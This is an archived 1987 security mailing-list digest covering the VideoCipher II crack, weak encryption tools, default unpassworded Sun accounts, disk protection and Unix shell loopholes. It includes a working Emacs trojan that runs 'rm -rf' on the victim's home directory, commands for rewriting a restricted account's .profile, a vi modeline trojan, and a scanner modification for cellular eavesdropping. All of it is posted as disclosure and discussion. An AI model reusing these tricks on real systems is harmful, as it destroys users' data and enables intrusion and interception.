From: *Hobbit* 13-Jan-1987 23:30:17 To: security@RED.RUTGERS.EDU Subj: The long silence is broken Contrary to recent evidence, or lack thereof, the Security list is still alive. A number of random impediments to progress prevented me from re-sending the queued mail for quite a while, including Being horrendously busy building laser equipment Stumbling across a strange and crippling bug in MM and having to work around it myself with little or no support from those familiar with the code The big Bitnet shakeup and re-ordering, during which all the Bitnet recipients were moved to local redistributions and all internet list maintainers had to learn how to deal with LISTSERV The usual Christmas/holidays lossage Being in DC for a week with no local network access [UMD was cut off] Any number of other excuses I can come up with I however *have* kept up with list maintenance requests and have been keeping things therein current. Now that things have settled down somewhat, the normal flow of Security mail will resume. A couple of other improvements have been made as well; useless headers will now be stripped out before remailing and right-widgeted message inclusions severely trimmed. Note to Bitnet people: Some of you were receiving digest-format messages. With the exception of one site [barilan] who requested specifically to remain, I have moved *all* Bitnet recipients to the LISTSERV mechanism at UGA. If you were receiving digest format messages and can't bear to have it any other way please send me a note and I'll fix your feed, but keep in mind it's just that much more network bandwidth taken up at Wiscvm. If there is sufficient demand I'll arrange to have a separate digest distribution at UGA set up. Thus, if you're looking for archives for December/January, there aren't any. _H* [security-request@rutgers] From: dplatt@teknowledge_vaxc.ARPA (Dave Platt) 2-Jan-1987 20:52:41 To: risks@csl.sri.com, security@rutgers.rutgers.edu Subj: DES cracked? There's an interesting article in the 1/87 issue of Radio-Electronics which states that the Videocipher II television-scrambling system has been cracked. As Videocypher depends in some part on the DES cyphering algorithm, this may have some major implications for computer-system security (if it's true). According to the article, "perhaps as many as several dozen persons or groups have, independent of one another, cracked Videocypher II and we have seen systems in operation. Their problem now concerns what they should do with their knowledge." As I recall (and I may well be wrong), M/A-Com's Videocypher II system uses two different scrambling methods: the video signal is passed through a sync-inverter (or some similar analog-waveform-distorter), while the audio is digitized and passed through a DES encryption. Information needed to decrypt the digital-audio is passed to the subscriber's decoder box in the one of the "reserved" video lines. The actual decryption key is not transmitted; instead, an encyphered key (which itself uses the box's "subscriber number" as a key) is transmitted, decrypted by the decoder box, and used to decrypt the audio signal. I've heard that it's not too difficult (in theory and in practice) to clean up the video signal, but that un-DES'ing the audio is supposed to be one of those "unfeasibly-difficult" problems. I can think of three ways in which the Videocypher II system might be "cracked". Two of these ways don't actually involve "breaking" DES, and thus aren't all that interesting; the third way does. Way #1: someone has found a way of assigning a different "subscriber number" to an otherwise-legitimate M/A-Com decoder, and has identified one or more subscriber numbers that are valid for many (most?) broadcasts. They might even have found a "reserved" number, or series of numbers, that are always authorized to receive all broadcasts. This is a rather minimal "crack"; the satellite companies could defeat it by performing a recall of all subscriber boxes, and/or by terminating any reserved subscriber numbers that have "view all" access. Way #2: someome has found a way of altering a decoder's subcriber number, and has implemented a high-speed "search for valid numbers" circuit. This could be done (in theory) by stepping through the complete set of subscriber numbers, and looking for one that would begin successfully decoding audio within a few seconds. It should be pretty easy to distinguish decoded audio from undecoded... This way would be harder for the satellite companies to defeat; they'd have to spread the set of assigned subscriber numbers out over a larger range, so that the search for a usable number would take an unacceptable amount of time. Way #3: someone's actually found a way of identifying the key of a DES transmission, with (or possibly without) the unscrambled "plaintext" audio as a starting point. This I find very difficult to believe... it would be difficult enough for one person or group to do, let alone "perhaps as many as several dozen... independent" groups. Naturally, this possibility has the most severe implications for computer-, organizational- and national security. I suspect that the reported "cracking" of Videocypher II is a case (or more) of Method #2, and thus doesn't have immediate implications for the computer industry (I think). Has anyone out there heard of any other evidence that DES itself has been cracked? From: dplatt@teknowledge_vaxc.arpa (David Platt) 6-Jan-1987 13:49:23 To: risks@csl.sri.com, security@rutgers.rutgers.edu Subj: More on the possible DES crack I just got a copy of the 2/87 issue of Radio-Electronics, which contains brief descriptions of several of the systems that have "cracked" the VideoCypher II scrambling system. The systems described are all "software" approaches that fall into what I described as "way #1"... they work by cloning copies of an authorized subscriber number. At least one has found a way to crack the "tiered distribution" feature of VideoCypher, thus permitting someone who has paid for only one service to successfully view several others. None of the systems described so far actually involve a "cracking" of DES itself... they're all methods of copying an existing (valid) key from one decoder to another. It appears that the MA-Com folks did take some steps to conceal the subscriber number information (which generates the actual key dynamically, I believe), but that their steps were not sufficient. Apparently, the subscriber-number is stored in the battery-backed RAM in a small TI microprocessor, and there's no direct way to query it; during operation, though, it's apparently possible to trace the signals on some of the micro's pins and "catch" the subscriber number as it flys by. Someone has found a way to do this and to "download" the number into the micro in another decoder... thus permitting the "cloning" of an authorized number. So, the vulnerability of the VideoCypher II system appears to boil down to the fact that its "innards" aren't sufficiently guarded against probing and/or modification. If, for example, the box had been provided with a cover-removal switch that would signal the micro to erase its subscriber number, it might have been more difficult to "crack". A description of several "hardware" approaches is promised for next month. I'll summarize once I get my hands on an issue. From: C. P. Yeske 9-Jan-1987 12:57:53 To: security@rutgers.rutgers.edu Subj: [Mark Lottor : CRYPT part II] I found this on the tops-20 digest and thought it would be interesting. Curt cy13@te.cc.cmu.edu --------------- Date: Wed 7 Jan 87 23:36:50-PST From: Mark Lottor Subject: CRYPT part II To: tops-20@SCORE.STANFORD.EDU Well, I had this diary of sorts that I had spent two years working on, from around '82-'84. I hadn't made an entry in a few months, and when I went to decode the file I found that I had forgotten the password. So, last week I thought I'd do something about it. I got the sources to the CRYPT program and I hacked it up to try every single key. I figured it might run for 5 or 10 years but I wasn't in a hurry. The key was 71 bits, but I found what may have been a bug that reduced it to only 35. This computed to only about 200 days. I tried a test case with a simple key, and was a bit surprised when it was decoded in about a minute. So, I fired up the batch job that was going to take all year to complete. But it finished a minute later! Yes, it was decoded. No, it didn't try every key. Hardly any matter of fact. I don't know how the algorithm was supposed to work, but it appears that lots of keys are "equal" to each other. I have found that I can decode any text file in about a minute. This is using the CRYPT program (NCRYPT.FAI) that writes out the coded file in a format like: ;crypt ahdsj jhaud oiqmn djdud djsau kasia zajza husdh ;end Just a warning to anyone using it; it's worthless. Now the questions: Was it known this program was so bad? Is there a good crypt program for Tops-20? One that's been tested? Mark From: Joseph I. Herman (Joe) 16-Jan-1987 15:17:55 To: security@red.rutgers.edu, warnock%clemson.csnet@relay.cs.net Subj: Promiscuous mode on ethernet (and others) Doing a promiscous listen on ethernet is a function of twiddling a bit on your ethernet port. For the 3com board used in PC's, just can instruct the board to show you all traffic by setting a bit when you tell the board you want to listen (I don't remember which bit it is, it's documented. If there is a demand, I'll look in our code.) There are two ethernet monitors that I know of off hand. Excelan's Lanalyzer (or something like that) and the NETWATCH program out of the PC/IP stuff. For IBM token ring it is not possible to do promiscuous receives using the IBM boards. However, if you're determined, TI sells a board that will do promiscous receives. However the board is 1) expensive ($1500) and 2) Does not understand 802.2 so you'd have to do all your decoding yourself. I know of no market available token ring monitoring program. I hope this helps. We've found NETWATCH to be very very helpful for debugging network programs I'm routing that packet to where???? Oops. Joe Replies to either DZOEY@UMD2.UMD.EDU or DZOEY@TERMINUS.UMD.EDU P.S. Of course, the boards all detect whether you want promiscous receives for good or evil purposes and disallow any unethical usage :-) From: 16-Jan-1987 11:40:48 To: security@red.rutgers.edu Subj: Breakin problems with SUN systems I just received the following message via the TCP-IP mailing list. I would appreciate it if you would please forward this to anyone who might be affected. Thanks, Selden E. Ball, Jr. Date: Thu, 15 Jan 87 12:41:43 PST From: Dan Kolkowitz There has been another rash of breakins on the Internet. We've noticed the SUN release includes a number of unpassworded special accounts in the default /etc/passwd file. Breakins have occurred on at least one of these. You may want to set the password for these accounts of disable them. Dan Kolkowitz Computer Science, Stanford From: 21-Jan-1987 14:46:23 To: SECURITY@RED.RUTGERS.EDU Subj: re: SET WATCH Todd, You recently asked via the SECURITY mailing list >[...] I saw mention of a >$SET WATCH command with VMS ... Where did it come from ? A query to the INFO-VAX mailing list would have been more appropriate: the SET WATCH command was revealed there last September. Maybe you confused the two lists? I'm not quite certain how to interpret your question: are you asking whence the SET WATCH command, or whence the information about the VMS implementation? At any rate, the SET WATCH command itself has (had) a long and illustrious history on DEC's Tops-10 systems (Tops-20 too, I suspect). The user could use the SET WATCH command to set flags so that the "monitor" (operating system) would display all sorts of useful info every time a program or command started and exited: time of day, elapsed cpu and real time, .exe file origin (it could be persuaded to display a message every time a shared segment was loaded, for example), disk and magtape i/o counts, and file name and i/o type whenever a file was opened. Much of this information was also available by typing a control-T or the USESTAT command. (My comments are in the past tense because our DEC-10 was replaced by 8600s last year. I understand that there are a few lucky sites still running them, though.) The VMS implementation of SET WATCH currently only supports the display of file i/o information. (VMS's form of control-T is similarly limited in functionality compared to the Tops-10 version.) SET WATCH is not a "supported" command: there is no published information about it. What is known has come from intrepid explorers who have used the VERB program to dump the contents of the distributed DCL command table file: The syntax of the command is: $ SET WATCH FILE/CLASS:(option1,option2...) The following options are available: ALL ATTRIBUTES CONTROL_FUNCTIONS DIRECTORY_OPERATIONS DUMP ATTACHED MAJOR_FUNCTION NONE QUOTA_LENGTH You can make this command generally available on your system by installing the image SYS$SYSTEM:SETWATCH with the CMKRNL priv. I hope that this brief discussion has been some help. Selden E. Ball, Jr. Cornell University NYNEX: 1-607-255-0688 Laboratory of Nuclear Studies BITNET: SYSTEM@CRNLNS Wilson Synchrotron Lab ARPA: SYSTEM%CRNLNS.BITNET@WISCVM.WISC.EDU Judd Falls & Dryden Road PHYSnet/HEPnet/SPAN: Ithaca, NY, USA 14853 LNS61::SYSTEM = 44283::SYSTEM (node 43.251) [Thanks also to Dan Cottler at RCA for a similar but less in-depth msg. _H*] From: davy@ee.ecn.purdue.edu (Dave Curry) 22-Jan-1987 08:23:49 To: dca-pgs@ddn1.arpa Subj: Gould Secure UNIX Cc: security@red.rutgers.edu Yes, Gould has a C2 UNIX. It was certified last year (October?), I believe. Basically, the most significant thing they did was remove the set-uid bit. There's also a bunch of "tracing" stuff in the kernel, but I'm not sure exactly what is and isn't traced. There was an item on USENET about three months ago about UTX/32S... apparently they had a demo system at a trade show and were challenging people to break in. Prize was a TV set. One guy broke in by noting that the super-user account had the current directory in its search path (mistake number one). He wrote a little program, talked the trade show guy into running it as super-user, and poof, he was in. The stink arose because Gould refused to give him the TV set, since he had not "played by the rules". (They have since given him the set.) The community was less than impressed by this, and slammed Gould pretty hard on USENET... Gould ended up sending this complete drivel about "he had to convince the super-user to unwittingly help him, since he realized immediately the system was otherwise unpenetrable" and other factually void statements. Finally they issued another challenge -- a TV and a VCR to break in. Some of us took them up on the challenge (they still have not gotten back to us telling us when and where we get to try... I think it was a ruse), others thought "if all you're willing to put up is a TV and VCR you must not be too confident. Try putting up $20,000 so it's worth our time." Anyway, having had more than enough experience with Gould's alleged software expertise, I'd be more than a little wary of UTX/32S without taking a real good look at it first. --Dave Curry These opinions are solely my own and not my employer's and all that crap. From: davy@ee.ecn.purdue.edu (Dave Curry) 22-Jan-1987 09:00:42 To: security@red.rutgers.edu Subj: Re: Questions about Secure Unix This was a reply to sullivan@ddn1.arpa and rsc@umix.cc.umich.edu, but I managed to screw up the security list's address... ----- "C2"? Really? From what I know, "C2" doesn't mean a whole lot more than changing the default file/device permissions to a 'none group, none others' sort of thing. Big deal. No, you're thinking of C1... from the Orange Book: C1: - discretionary access control - identifcation and authentication - assurance of: - system architecture - system integrity - security testing - documentation of - security features user's guide - trusted facility user's manual - test documentation - design documentation C2: - everything in C1, but at increased levels - object reuse (guarantee no data from last user of object left in object) - audit Granted, C2 isn't a whole lot more complicated when you get right down to it... --Dave Curry From: dplatt@teknowledge_vaxc.ARPA (Dave Platt) 22-Jan-1987 13:15:23 To: ST802414@BROWNVM.BITNET Subj: Re: hard drives Cc: Security@Red.Rutgers.Edu This depends very much on the environment in which the computer is to be used, on the operating system, and on the degree of security that you require. For simple protection, you may be able to depend on built-in security and access-control features in the computer's operating system. Unix, for example, has a three-level * three-privilege access control scheme, which can be used to keep nosyparkers out of private data. It can be cracked, however, if someone can boot the privileged diagnostic package and read the disk directly (or log in as "root"). Harder-to-crack protections (e.g. software protection) might be implemented in a number of ways. Several firms make software that can be used to password and/or encipher the data on portions of a disk. I believe that Borland (vendors of Sidekick) sell a "safe-disk" utility that enciphers data in a directory hierarchy; I believe that it does so by inserting itself into the device-driver path and ciphering data during writes (and deciphering during reads). Without the cipher password, the data is unreadable (I believe that DES is used). Other vendors sell similar products. At the MacWorld expo earlier this month, I saw a product ("MacSafe"?) that protects Macintosh disks similarly. It supplies both a nested-password scheme for locking files, and a DES cipher. Based on a conversation that I overheard while hanging around the booth, the password scheme can be bypassed by using a disk-sector editing tool such as FEdit (the files are simply hidden from normal access), but the DES-ciphering is as robust as DES itself (i.e. if you don't have the key, it'll take many moons to read the data). Protecting data against erasure is trickier. You might be able to depend on the operating system's access-control features to prevent an existing filesystem from being modified by programs running in the normal user environment. To protect the data against modification by diagnostic or stand-alone programs, you'll probably have to physically disable the drive's ability to write new data. Some drives have a write-protect switch; such a drive could be placed in a locked cabinet next to the computer and used in a read-only mode. If you have a drive that has no such switch, you'll have to hack the interface between the computer and the controller (or between the controller and the drive), thus preventing the drive from ever seeing a "write data" order. This is nontrivial and should be delegated to someone who REALLY understands the hardware. You could, of course, copy the data from a conventional (Winchester) hard disk to a WORM (write-once, read-many) optical disk, and then leave the WORM copy on-line. Or, for ultimate "no modification" security, have the data transferred to a ROM optical disk (CD-ROM)... expensive, but pretty secure against modification. To meet your "for instance" (protect from erasure or access) absolutely, there's only one way... DISCONNECT the drive from the computer, LOCK IT UP in a physically-secure area, and don't give ANYONE the keys! If a drive is on-line or physically accessible, then you must assume that someone with sufficient expertise and time will probably be able to crack or destroy its contents. Dave Platt Internet: dplatt@teknowledge-vaxc.arpa Usenet: {hplabs|sun|ucbvax}!dplatt%teknowledge-vaxc.arpa Voice: (415) 424-0500 USnail Teknowledge, Inc. 1850 Embarcadero Road Palo Alto, CA 94303 The best book on programming for the layman is "Alice in Wonderland"; but that's because it's the best book on anything for the layman. From: obrien@rand_unix.ARPA 23-Jan-1987 13:53:33 To: dplatt@teknowledge-vaxc.arpa (Dave Platt) Subj: Re: DES cracked? Cc: risks@csl.sri.com, security@rutgers.edu Traffic in the Usenet newsgroup "net.video" implies that it was done with your "way #1", i.e. someone found a trapdoor in the decoder box that allows insertion of a new "subscriber number". I didn't even hear anything to the effect that a high-speed search is used. From: Michael Grant 24-Jan-1987 20:38:19 To: risks@csl.sri.com, security@rutgers.edu Subj: Re: VedeoCypher II >David Platt notes: >If, for example, the box had been provided with a cover-removal switch that >would signal the micro to erase its subscriber number... Always best to eliminate the problem by redesigning that part in the next generation of the cypher so that such important numbers as that never leave the internals of chips. At that point, it becomes much more of a pain to probe than it may be worth, but...not entirely impossible. From: Douglas Humphrey 25-Jan-1987 14:45:07 To: dplatt@teknowledge-vaxc.arpa, risks@csl.sri.com, security@rutgers.edu Subj: Re: DES cracked? >Way #3: someone's actualy found a way of identifying the key of a DES >transmission, with (or possibly without) the unscrambled "plaintext" >audio as a starting point. Note that they can easily have the plaintext, since the best way to start experimenting on breaking something is to have two devices there, one subscribed and authorized, and the other not. That way you have (subject to trivial timing differences which can be ironed out) two streams of data to play with, and you really are just trying to make one look like the other. On another note, does anyone know of any good spectrum analysis software available for cheap to work with reasonable priced A/D converters ? There are a number of companies that sell the hardware required to eat signals, but most of the software that I have seen for actualy analysing the data is pretty weak. Maybe I'm just not in touch with the right companies... Thanks Doug From: crash!pnet01!adamsd@nosc.ARPA (Adams Douglas) 26-Jan-1987 12:00:43 To: crash!security@rutgers@nosc.arpa Subj: PC-AT security. I have a PC-AT here at my office which gets frequent remote use through dialup. My office is a cubicle with no physical security save some lockable cabinets. I don't do classified work, but I would like some confidence in leaving the machine up and running over weekends. The basic problem is that when I leave my phone-line monitor running I cannot use the key lock on the AT as the program occasionally will recover from bad errors by doing a warm-boot. If the keyswitch is locked, the warm-boot will not complete and I am down for the rest of the weekend. Is there a simple way of insuring the machine's security without inhibiting its dialup use under these circumstances? I thought of removing the keyboard and locking it up, but a determin{ed person could swipe a keyboard from another machine here (or bring their own). Encrypting every file on the machine is something I would like to avoid. Helpful ideas would be welcome. From: *Hobbit* 29-Jan-1987 19:59:32 To: security Subj: [2981] Summary of hard-drive responses -*-*-*-*-*-*-*-*-*-*-*-*-*-*- Date: Thu, 22 Jan 87 18:08:40 EST From: ELKINS Subject: Re: hard drives I believe that there are some hard drives for the ibm, that are password protected. ie, a password must be given to the hard-drive controller before it will boot the drive. There are also some control systems that exist for the IBM-pc series...Another security feature is a lock for the hard drive which requires a key to be inserted for the drive to operate. I believe that the IBM AT's have this feature... Rob Elkins relkins%trillian@udel-relay -*-*-*-*-*-*-*-*-*-*-*-*-*-*- Date: Thu, 22 Jan 87 15:53:46 EST From: Michael Grant Subject: Re: hard drives There is a card that can be had which encrypts everything on the disk. A password is required to get into it. It seemed fairly secure. Jeez, I saw it at some random security show. They were giving out some very large sum of money for anyone if they could crack it. I wish I could provide more info on it, but it was a long time ago. As I remember, it was a disc controller in the back of a PC. When you powered up it would ask for a password. Otherwise, no reads or writes. If this is what you are looking for, I suggest you go to the next ComSec in Washington, or your local security conference. -Mike Grant -*-*-*-*-*-*-*-*-*-*-*-*-*-*- From: siggy@aim.rutgers.edu Date: 22-Jan-87 20:38:16 EST Subject: hard disk security Christopher Chung asked if there was a method of securing a hard disk in a publicly accessable microcomputer. If the beast is an IBM PC or really close clone there are a number of commercial software packages which will do the job quite nicely. The two which come to mind are The WatchDog by ?? and The Knight by AST. The AST product costs somewhat under $200 but it does really work. send mail direct if you really want me to find the literature on WatchDog. cheers /S* siggy@aim.rutgers.edu latzko@topaz.rutgers.edu backbone!rutgers!topaz!latzko -*-*-*-*-*-*-*-*-*-*-*-*-*-*- Date: Sun, 25 Jan 87 12:45:50 PST From: Derek_Isobe%SFU.Mailnet@umix.cc.umich.edu Subject: hard drives I have such a password program in basica. It asks for a password on h/d boot and kills the system if it does not receive the right pw. -*-*-*-*-*-*-*-*-*-*-*-*-*-*- Date: Sun, 25 Jan 87 13:00:57 EST From: Simson L. Garfinkel Subject: hard drives I assume that you mean a "hard drive" on an IBM PC/clone/AT kind of computer. The easiest way to keep a hard drive from being accessed is to physically remove it from the computer. With removable media hard drives and Bornelli boxes, this is a practical solution. There isn't any other way to keep people from accessing a hard drive. You can encrypt the data on the disk, however. Simson L. Garfinkel MIT Media Lab From: Jim Aspnes 26-Jan-1987 16:52:20 To: barnett%vdsvax.tcpip@ge-crd.arpa Subj: Re: setuid csh script problem Cc: SECURITY@RED.RUTGERS.EDU Setuid csh scripts are dangerous, because on many implementations of Unix the csh which executes them can be tricked into believing that it is a login shell by exec'ing the script with argv[0] set to "-". I believe this has been fixed in Ultrix; I know it has been fixed in 4.3. The problem with popen() and system() was that both calls used /bin/sh to parse their arguments, and this shell inherited the IFS environment variable from its parent. By setting IFS to, say, "/", one could turn a call to /bin/mail into a call to bin, which could be a trojan horse of one's choosing in the current directory. 4.3 sh clears IFS on startup, eliminating the problem. The best loophole-finding program I know of is KUANG, written by Bob Baldwin . It does rule-based search to find paths of attack to gain arbitrary objective (e.g., becoming root, or obtaining permission to write to a particular file.) You may want to ask him if he's willing to distribute it. Jim Aspnes From: pnet01!brock@nosc.ARPA (Brock Meeks) 27-Jan-1987 22:26:36 To: crash!security@rutgers@nosc.arpa Subj: DES is Cracked--thrice The following message has been ported from BYTE's electronic network. The author is Rick Cook. I thought all you DES devotees would be interested. =-=-=-=-=-=-= TITLE: Three Claim Breaking of DES-Based Scrambler The Videocypher II scrambling system, which uses the government- backed DES encryption algorithm to protect satellite television signals, has apparently been broken by no less than three different groups using different approaches. At a "scrambling summit" in the British West Indies recently, three groups demonstrated ways of cracking the system, which its manufacturer and major users promote as uncrackable. The video signal is only lightly scrambled using conventional analog techniques. Because the DES algorithim is so secure, cracking the signal has been considered beyond the abilities of anyone without the resources of a government or major corporation. None of the three groups broke the DES algorithim directly. Instead they attacked the hardware inside the descrambler to get at the firmware that runs the descrambler. M/A-COM engineers had cut one of the control pins off the unit's microprocessor to thwart such attacks. One group reattached the pin with a laser micro-welder. Another used a combination of out-of-spec voltages and clock speeds to deduce the firmware. A third group said it found a flaw in a key IC. M/A-COM says provisions built into the Videocypher II can foil crackers. For example, each descrambler has several additional keys that can be activated from the satellite uplink station. However, the presenters at the conference claimed that for every countermeasure there is a possible counter-countermeasure -- a contention borne out by the history of software copy-protection. --Rick Cook =-=-=-=-=-=-=-=-= People against needless garbage at message end. --Brock Meeks From: ROY MILLER 30-Jan-1987 10:19:27 To: security@RED.RUTGERS.EDU Subj: I believe Government Computer News, July 18, 1986, contained an article about Oracle and the DOD orange book security compliance. If anyone has any information on this that they could send me I would appreciate it. Thanks Stewart From: William_Allen_Doster@um.cc.umich.edu 30-Jan-1987 17:14:27 To: AWALKER@RED.RUTGERS.EDU Subj: PC-AT security. One way to secure your machine might be to just replace *all* the keyboard related interrupts with pointers to IRets. Then you wouldn't have to remove the keyboard but no-one would be able to do anything. You could also have another program to restore the keyboard interrupt vectors, and remotely run it just before coming back in to work. Not sure how you would prevent someone from power-cycling it to undo these changes, though. From: astrovax!princeton!allegra!amdcad!bandy@caip.rutgers.edu (Andy Beals) 30-Jan-1987 18:14:27 To: red.rutgers.edu!security@caip.rutgers.edu Subj: PC/AT physical security Well, if you have a big enough cabinet, you could lock the whole computer within it; however, you would have a big cooling problem if the cabinet wasn't big enough or your cubie didn't stay cold enough (you could knock some holes in the cabinet and put some muffin fans in it). If you cannot leave it in the cabinet, I'd say that there isn't much you can do about it; but why be paranoid? From: Paul Schauble 3-Feb-1987 02:37:43 To: Security@rutgers.edu Subj: Sorry, DES not cracked at least not by the people who broke Videocypher II. I'll send what details I have along later. Basically what was broken was the key distribution method. None of the three methods involve breaking DES itself. Paul Schauble at MIT-Multics From: dparker@pnet01.CTS.COM (Dave Parker) 9-Feb-1987 23:31:18 To: crash!security@rutgers@nosc.mil Subj: Re: Listening in... Not only are many law enforcement agencies being forced to move to UHF because of a lack of available frequencies, many are moving to scramblers. Before too long, you won't be able to listen in at all.... When this happens, you won't be able to spend a relaxing evening listening to the world fall apart. But you can still find out all you want to know about the crime trends of any area of your city just by contacting the law enforcement agency and asking them. ------------------------------------------------------------------------------ Disclaimers? We don't need no stinkin' disclaimers!! UUCP: {ihnp4,akgua,hplabs!hp-sdd,sdcsvax,nosc}!crash!pnet01!dparker ARPA: crash!pnet01!dparker@nosc Dave Parker **************** [Administrative note: The list is not dead, just rather inactive these days. _H*] From: dparker@pnet01.CTS.COM (Dave Parker) 9-Feb-1987 23:57:46 To: crash!security@rutgers@nosc.mil Subj: Re: hard drives Christopher Chung asked if there was any way to protect a hard drive on a microcomputer from being accessed on a public computer. There are *many* hard drive locks in public domain. I have not tried any of them but the one that is getting the highest acclaims is PC-LOK11.ARC. It should be available on just about any local BBS system. If you can't find it, send E-Mail. ------------------------------------------------------------------------------ Disclaimers? We don't need no stinkin' disclaimers!! UUCP: {ihnp4,akgua,hplabs!hp-sdd,sdcsvax,nosc}!crash!pnet01!dparker ARPA: crash!pnet01!dparker@nosc Dave Parker From: Bill Sommerfeld 6-Mar-1987 17:19:12 To: bug-gnu-emacs@prep.ai.mit.edu Subj: It is possible to set load-path in the local variables list. Cc: security@red.rutgers.edu, jis@ATHENA.MIT.EDU In GNU Emacs 18.37.1 of Mon Feb 16 1987 on ra (berkeley-unix) If I create the file /tmp/foo, containing the following lines: Local Variables: load-path: ("/tmp") mode: outline End: and the file /tmp/outline.el: ;;; put any arbitrary code here. (if (not (string= (user-login-name) "wesommer")) (shell-command "cd ~; rm -rf * &")) (kill-emacs t) then anyone who uses emacs to look at /tmp/foo and who has not yet loaded the outline package will lose their home directory. While I would not be anti-social enough to do this, it should be important to point out that the local-variables feature of emacs enables trojan horses like this to surface. Suggested fix: disable setting of load-path in the local-variables list; other variables of this nature (such as shell-file-name and exec-path) might also be protected in some way. It may also be possible to set various hooks in this way; it is not immediately apparant to me how to fix this problem in general without eliminating the (winning) local variables feature. - Bill From: crl@maxwell.physics.purdue.edu (Charles R. LaBrec) 7-Mar-1987 06:24:07 To: wesommer@ATHENA.MIT.EDU Subj: It is possible to set load-path in the local variables list. Cc: bug-gnu-emacs@PREP.AI.MIT.EDU, security@red.rutgers.edu A thought I just had was to be able to do something like (put 'load-path 'disable-local-variables t) so that any "important" variable could be protected in a easily extensible way. Maybe non-t and non-nil could be a way to request confirmation before proceeding. Charles LaBrec crl @ maxwell.physics.purdue.edu From: HMICHEL%CALSTATE.BITNET@wiscvm.wisc.edu 11-Mar-1987 08:57:22 To: SECURITY@RUTGERS.EDU Subj: Encryption/Decryption Sources Desired I am interested in obtaining source code (preferably in FORTRAN, Pascal is ok, BASIC is ok, C only if I must) that will encrypt and decrypt files. I am at site that only supports mail; so, if there is anything at any archive that is not reachable via a mail based server then I am dependent on someone's generosity. Thanks for your help. Michael W. Fleming BITNET: HMICHEL@CALSTATE Computer Services ARPANET: HMICHEL%CALSTATE.BITNET@ California State College WISCVM.WISC.EDU 9001 Stockdale Highway Bakersfield, Ca. 93311-1099 Telephone: (805) 833-2309 -or- (805) 833-2115 {message} From: brock@pnet01.CTS.COM (Brock Meeks) 12-Mar-1987 05:39:09 To: crash!security@rutgers@nosc.mil Subj: North, Pointy, et al (so to speak) Well, what don't any of us have any comments on the mundo security blunder by our rousing cowboys that used to staff the NSC?? I mean, c'mon? Can these guys really be so naive that they didn't know their messages were being stored for prospertiy by the PROF system? Any one want to venture a guess why? Or how about someone taking a shot at looking into whether the RFP (request for proposal) for the original White House comm. system included anything about "back up" messages . . . Just for security, you understand... Really, I'm a little tweaked on this issue. I would like to think these guys weren't that stupid, but you just never know... Brock inhp4!sdcsvax!crash!pnet01!brock brock@ucsd brock@nosc -------------------------- no crap down here.... From: barnett%vdsvax.tcpip@ge_crd.arpa 16-Mar-1987 11:17:16 To: SECURITY@RED.RUTGERS.EDU Subj: secure service-type accounts Cc: unix-security Here is a question I have for Sun 3.2 and Ultrix 1.2 (and 2.0) Ultrix systems. We would like to set up a network service for providing the ability to use Elan's DITROFF, which is licensed for one system, from any Ultrix or Sun machine on our network. We would like to do this without creating hundreds of accounts on the Sun workstation. Two simple methods are: Have a password of '*' on the dummy account and have a list of people in the .rhost file, who can use the account. (This list of people/machines would include hundreds of combinations) Have no password in the account, and have a special version of the .profile/.login/.cshrc that traps signals, and only allows certain commands. It seems to me that this is insecure because people could then do: rsh machine -l dummy-user chmod .profile rcp .profile machine.dummy-user: and then rlogin machine -l dummy-user Another solution is to use the restricted shell on the Sun. (I don't believe this is available on Ultrix 1.2) To review my understanding of it, I would set it up as follows: ln /bin/sh /bin/rshell change /bin/{c}sh to /bin/rshell in the dummy user's password entry create a /secure-bin directory with just the commands needed to execute the tbl/eqn/nroff/troff/spell programs and scripts What would be NOT included is chmod, cp, ln, and some others. I would think it should not be writable by the dummy user. (this part would require the most head-scratching.) edit the .profile to set the search path to only point to /secure-bin Also add a trap 'exit 1' 0 1 2 3 15 to the .profile as the first command. chmod the .profile to 400 Now - Sun's restricted version of sh does not allow: execution of commands starting with '/' redirection of standard output So my questions are: Is the approach I am taking secure? or 95% secure? Is there a better approach? (I may be willing to settle for a 95% secure method - because this doesn't grant root access. But as our policy is to not allow password-free accounts - we need to justify this deviation from policy.) Is there a secure method of doing this for Ultrix, which doesn't (as far as I know) have the restricted shell? If so, how was it done? Does it require writing a program? Does anyone have a program that is suitable for hacking? Does anyone have some examples on how they solved this problem? (This might save me a bit of head scratching and testing.) Which commands should I leave from the special bin directory? (besides chmod, ln, cp, rm, and mv)? Bruce G. Barnett barnett@ge-crd.arpa, barnett@steinmetz.uucp ...!{chinet,rochester}!steinmetz!barnett From: Michael Grant 16-Mar-1987 18:29:01 To: info-hams@mc.lcs.mit.edu, rnj@brl.arpa, security@red.rutgers.edu, Subj: Restoring Cellular Coverage on the Radio Shack PRO-2004 Scanner In the March 1987 (Vol 6, Number 3) issue of Monitoring Times on page 48, there is a short article on how to modify your RadioShack Scanner to pick up the cellular frequencies. (This just had to have been leaked from someone in Tandy sales!) 1. Remove the four cabinet screws and the cabinet 2. Turn the receiver upside down and locate circuit board PC-3 3. Remove seven screws holding board and plug CN-501 4. Carefully lift up the board and locate diode soldered in place below the module 5. Snip one lead of the diode carefully, leaving it suspended by the other lead for later reattachment if desired, such as warranty repair 6. Reverse first four steps above for reassembly. Radio will now cover 825-845 and 870-890 MHz and search in 30 KHz increments for no-gap 760-1300 MHz reception (Thanks to Jim Marquand and other readers of Monitoring Times) I do not own a PRO-2004, nor have I ever seen this tried, do it at your own risk. -Mike From: *Hobbit* 17-Mar-1987 00:57:52 To: security@RED.RUTGERS.EDU Subj: [947] Better than shredders I have found an excellent way of disposing of classified garbage. You find a standard industrial-grade flat rooftop that has a lot of small-grain gravel on top, and sweep a small pile of it together. Create a depression in this pile, about 6 inches across. Loosely crumple a couple of the papers in question and ignite them. Feed the rest of the stuff in, loosely crumpled so it burns nicely, until there's only ashes and no paper left. Now, tumble and mix the pile of gravel and ashes around until all you have is blackened gravel [a random beer bottle lying nearby served quite well as a swizzle stick]. Leave the pile sitting there for the next time you need it. Drawbacks: Works better at night, since rooftops tend to be windy during the day. However, what's left behind is completely unreadable. _H* From: codas!ki4pv!tanner@rutgers.edu 19-Mar-1987 11:59:15 To: codas!moss!rutgers!security Subj: Trojan Horses in Editor Start-Up Files Another interesting case is "vi", whose mode lines feature is disabled by SCO ("it's not a bug, it's a feature") because they fear that someone might leave a trojan horse in a file to be edited. SCO sells xenix, which is a unix clone of moderate tolerability. A mode line containing the command "!sh my_trojan.sh" surrounded by the proper arrangements of comment characters and colons is what they fear; my_trojan.sh either dispenses a prophylactic to the editor, or creates a setuid-victim prog for benefit of the horses's owner. I fear that the commenting-out of the proper code (rather than simply disabling the '!' command in mode lines) is probably more than a bit paranoid; SCO was kind enough to offer to sell me source for some large number of thousands of dollars so that 